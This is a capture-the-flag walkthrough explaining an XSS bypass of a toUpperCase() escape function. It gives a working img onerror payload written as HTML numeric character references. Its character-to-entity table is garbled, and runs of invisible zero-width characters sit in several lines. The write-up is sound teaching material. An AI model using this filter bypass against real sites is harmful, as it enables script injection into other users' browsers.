← Back to Writeups
CUSTOMEasyWeb

Medium 0 - toUpperCase XSS Bypass

XESXOR9/2/20262 min read
#web#custom#easy#html_numeric_character_referen#touppercase_bypass_html_entiti

Medium 0 - toUpperCase XSS Bypass

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: html_numeric_character_reference, touppercase_bypass_html_entities

Summary

Walkthrough of the CUSTOM Web Medium 0 - toUpperCase XSS Bypass. XSS challenge from the sibearsxss series. User input passes through an escape function that converts all characters to uppercase using toUpperCase().

Description

XSS challenge from the sibearsxss series. User input passes through an escape function that converts all characters to uppercase using toUpperCase().

URL: http://109.233.56.90:11659/xss/medium/0

Analysis

Escape function:

js
function escape(s) {
  s = s.toUpperCase();
  return '<h1>404</h1><h2>Not found</h2>The symbol ' + s + " doesn't exist.";
}

Problem: JavaScript is case-sensitive. After toUpperCase() any JS code becomes PROMPT("SIBEARS"), which is not a valid function (the prompt function only exists in lowercase). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key observation:

  1. HTML tags and attributes are NOT case-sensitive: <IMG> = <img>, ONERROR = onerror
  2. HTML numeric character references (&#NNN;) are decoded by the browser AFTER the HTML is parsed
  3. toUpperCase() does not change numeric characters in HTML entities

Solution

Using HTML numeric character references to encode JS code inside the event handler:

CharacterEntity
pp
rr
oo
mm
tt
""
ss
ii
bb
ee
aa
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Payload:

html
<img src=x onerror=&#112;&#114;&#111;&#109;&#112;&#116;(&#34;&#115;&#105;&#98;&#101;&#97;&#114;&#115;&#34;)>

After toUpperCase():

html
<IMG SRC=X ONERROR=&#112;&#114;&#111;&#109;&#112;&#116;(&#34;&#115;&#105;&#98;&#101;&#97;&#114;&#115;&#34;)>

What happens:

  1. toUpperCase() converts tags and attributes to uppercase
  2. Numeric HTML entities remain unchanged (digits have no case)
  3. Browser parses HTML and decodes entities in the onerror attribute
  4. &#112;&#114;&#111;&#109;&#112;&#116; → prompt
  5. &#34;&#115;&#105;&#98;&#101;&#97;&#114;&#115;&#34; → "sibears"
  6. prompt("sibears") is executed ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering html_numeric_character_reference, touppercase_bypass_html_entities was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Medium 0 - toUpperCase XSS Bypass • Difficulty: Easy